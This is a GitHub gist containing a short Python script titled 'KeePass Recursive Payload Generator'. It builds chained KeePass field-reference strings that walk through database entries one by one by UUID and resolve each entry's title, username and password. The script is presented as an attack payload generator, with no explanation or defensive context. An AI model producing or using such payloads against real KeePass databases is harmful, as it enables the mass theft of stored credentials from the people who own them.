-
-
Save d3lb3/fb6f5d82e47744f56117b350d94a6029 to your computer and use it in GitHub Desktop.
KeePass Recursive Payload Generator
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
iteration = 5 | |
search_base_UUID = '{REF:I@I:0' | |
search_base_TITLE = '{REF:T@I:0' | |
search_base_USERNAME = '{REF:U@I:0' | |
search_base_PASSWORD = '{REF:P@I:0' | |
search_base_URL = '{REF:A@I:0' | |
searches_UUID = [] | |
searches_TITLE = [] | |
searches_USERNAME = [] | |
searches_PASSWORD = [] | |
searches_URL = [] | |
for i in range(0,iteration): | |
search_UUID = search_base_UUID | |
search_TITLE = search_base_TITLE | |
search_USERNAME = search_base_USERNAME | |
search_PASSWORD = search_base_PASSWORD | |
search_URL = search_base_URL | |
for previous_search_UUID in searches_UUID: | |
search_UUID += ' -' + previous_search_UUID | |
search_TITLE += ' -' + previous_search_UUID | |
search_USERNAME += ' -' + previous_search_UUID | |
search_PASSWORD += ' -' + previous_search_UUID | |
search_URL += ' -' + previous_search_UUID | |
search_UUID += '}' | |
search_TITLE += '}' | |
search_USERNAME += '}' | |
search_PASSWORD += '}' | |
search_URL += '}' | |
searches_UUID.append(search_UUID) | |
searches_TITLE.append(search_TITLE) | |
searches_USERNAME.append(search_USERNAME) | |
searches_PASSWORD.append(search_PASSWORD) | |
searches_URL.append(search_URL) | |
for i in range(0,iteration): | |
print('{}:{}:{}:{}`n'.format(searches_UUID[i], searches_TITLE[i], searches_USERNAME[i], searches_PASSWORD[i]), end='') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment